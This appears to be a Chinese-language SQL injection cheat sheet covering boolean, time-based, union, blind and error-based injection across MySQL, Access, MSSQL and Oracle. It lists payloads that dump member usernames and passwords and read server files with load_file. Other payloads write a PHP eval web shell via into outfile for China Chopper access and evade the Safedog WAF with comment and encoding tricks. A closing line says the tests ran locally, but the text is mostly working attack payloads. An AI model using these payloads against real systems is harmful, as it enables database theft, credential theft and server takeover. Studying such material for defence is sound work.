赞
踩
and 1 like 1 ,测试回显正常
and 2 like 1 ,测试回显错误
and 1=1,测试回显正常
and 1=2,测试回显错误
and case when 1=1 then 1 else 0 end 页面返回正常
and case when 1=1 then 0 else 1 end 页面返回不正常
and sleep(5) 页面延迟5s
and case when 1 then sleep(5) else 0 end 页面延迟5s
and case when 0 then sleep(5) else 1 end 页面返回正常
?id=8 = 0 页面正常,显示id!=8且最靠前的页面
?id=8 < 2 页面正常,显示数据库id最靠前的页面
?id=8 < 0 页面不正常,空页面
?id=8 / 0 页面不正常,空页面
?id=8 / 1 页面正常,显示id=8的页面
?id=8 ^ 1 页面正常,显示id!=8新闻页面
?id=8 ^ 0 页面正常,显示id=8的页面
字符型与数字型不一样的点:
title = “中小企业制作网站的技巧” -0. 所有
title = “中小企业制作网站的技巧” -1 空
title = “中小企业制作网站的技巧” ^1 空
title = “中小企业制作网站的技巧” ^0 正常
一、通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,在此不多说;
二.根据脚本类型:
php:mysql (root) udf提权
asp:access
aspx:sqlserver (sa)(windows)xp cmdshell扩展提权
jsp:oracle (sys systeam) sqlserver
三、通过各个数据库特有的数据表来判断:
1、mssql数据库
http://127.0.0.1/test.php?id=1 and (select count() from sysobjects)>0 and 1=1
2、access数据库
http://127.0.0.1/test.php?id=1 and (select count() from msysobjects)>0 and 1=1
3、mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count() from information_schema.TABLES)>0 and 1=1
Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQL Server是在表“sysobjects”中,在Web环境下可正常读取。在确认可以注入的情况下,使用下面的语句:http://www.yyy.com/productDetail_c.asp?ID=568 and(select count() from sysobjects)>0如果数据库是Access,由于找不到表sysobjects,服务器报错
4、oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
四、通过各数据库特有的连接符判断数据库类型:
1、mssql数据库
http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
2、mysql数据库
http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
3、oracle数据库
http://127.0.0.1/test.php?id=1 and ‘1’||‘1’=‘11’
http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
4.access数据库
http://127.0.0.1/test.php?id=1 and ‘1’&‘1’=‘11’
先简单介绍一个数据库,准确的说试视图
• 在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
• 这里主要关注MYSQL系统数据库information_schema,关注系统数据库的表columns和schema表以及tables表
• SCHEMATA表:提供了关于数据库的信息
• TABLES表:给出了关于数据库中的表的信息
• COLUMNS表:给出了表中的列信息
1.判断列数
?id=8 order by 18 回显正常
?id=8 order by 19 回显不正常
列数为18
2.判断回显的列
?id=-8 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
3.爆数据名,把回显的数字替换为相关sql语句
?id=-8 union select 1,database(),group_concat(schema_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.schemata
4.爆表名
id=-8 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema = ‘test’
2.爆列名
?id=-8 union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.columns where table_name = ‘yzsoumember’
3.爆内容:
?id=-8 union select 1,group_concat(username),group_concat(password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember
盲注在联合注入上添加了substr字符串截取函数和ascii ascii码转换函数,盲注主要用于没有回显的注入页面。
爆数据名
?id=8 and ascii(substr((select database()),1,1))=116. —t
?id=8 and ascii(substr((select database()),2,1))=101. —e
…….
爆表名:
?id=8 and ascii(substr((select table_name from information_schema.tables where table_schema = ‘test’ limit 0,1),1,1))=121 --y
?id=8 and ascii(substr((select table_name from information_schema.tables where table_schema = ‘test’ limit 0,1),2,1))=122. –z
…….
3.爆列名
?id=8 and ascii(substr((select column_name from information_schema.columns where table_name=‘yzsoumember’ limit 0,1),1,1))=105. –i
?id=8 and ascii(substr((select column_name from information_schema.columns where table_name=‘yzsoumember’ limit 0,1),2,1))=100 --d
…….
4.爆内容:
?id=8 and ascii(substr((select username from yzsoumember limit 0,1),1,1))=97 --a
?id=8 and ascii(substr((select username from yzsoumember limit 0,1),2,1))=100 --d
…….
if(exp1,exp2,exp3)如果exp1为假,那么执行exp2,否则执行exp3
• if(exp1,exp2,exp3)如果exp1为假,那么执行exp2,否则执行exp3
• and if(ascii(substr((select database()),1,1))=116,sleep(5),1) -t
• and if(ascii(substr((select database()),2,1))=101,sleep(5),1) -s
• and if(ascii(substr((select table_name from information_schema.tables where table_schema = ‘test’ limit 0,1),1,1))=121,sleep(5),1) -y
• and if(ascii(substr((select table_name from information_schema.tables where table_schema = ‘test’ limit 0,1),2,1))=122,sleep(5),1) -z
extractvalue() :对XML文档进行查询的函数
Updatexml():是更新xml文档的函数
• Id=1 and (extractvalue(1,concat(0x7e,(你想获取的数据的sql语句))))
• Id=1 and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1))
• 比如:
• id=1 and (extractvalue(1,concat(0x7e,(database())))
• Id=1 and (updatexml(1, concat(0x7e,(database())),1))
得到数据库命test
• id=1 and (extractvalue(1,concat(0x7e,(select group_concat(password) from yzsoumember))))
• id=1 and (updatexml(1, concat(0x7e,(select group_concat(username) from yzsoumember)),1))
• 文件读取使用load_file()函数:
• 使用之前我们需要先找到网站的绝对路径。(获取办法:报错显示、谷歌语法、site:目标网站 warning、遗留文件如phpinfo、漏洞爆出路径、读取配置文件)
• 注意路径符号:错误“\” 正确"\" 正确"/"。如果将路径转换为16进制就可以不用引号。
• 举例:(读取php文件会执行php后的结果返回到前端)
• union select 1,load_file(“c:/inetpub/wwwroot/index.php”),3
• ?id=-8 union select 1,load_file(“D:/phpStudy/WWW/bbs_new/read.txt”),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
• 文件写入使用into outfile函数:
• 使用办法如下:
• ?id=-8 union select 1, “<?php @eval($_POST[cmd]);?>”,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile ‘D:/phpStudy/WWW/bbs_new/1.php’
菜刀连接
•由于Access数据库的系统表默认不可访问,故不能像Mysql数据库一样,通过注系统表来获得表名和列名。这也是Access数据库比较难注入的一个原因,只要表名、列名够变态,有注入点也很难注出结果。
• AND exists(select * from yzsoumember)
• 或者:
• and(select count(*) from yzsoumember)>=0
• and (select count(字段名) from yzsoumember)>0
• and (select top 1 asc(mid(username,1,1)) from yzsoumember)=97
上安全狗
过狗:
负数:
?id=8 and -1=-1
十六进制 二进制:
id=8 and 0x0
id=8 and 0b0
大于号小于号,具体使用在上面介绍了
> <
注释加换行:%23是# ;%0a 是换行
id=8 order%23%0aby 18
同理-也是注释符,%2d是 -
id=8%2d%2d%0aorder%2d%2d%0aby 18
Union select绕过:
内敛注释:里面数字并不是所有数字都可以,可以fuzz测试一下
id=-8 union/!11440select/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
10440 – 10449 11440-11449 12440-12449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 19440-19449 … 很多很多
注释换行:
id=-8 union%23%0a all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
十六进制绕过:
id=-8 union%23%0a all select 1,hex(database/**/()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
需要解密一下:
内敛注释
id=-8 union/!10440select/ 1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.schemata
注(以上环境皆是自己在本机搭建,请勿在公网真实操作)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。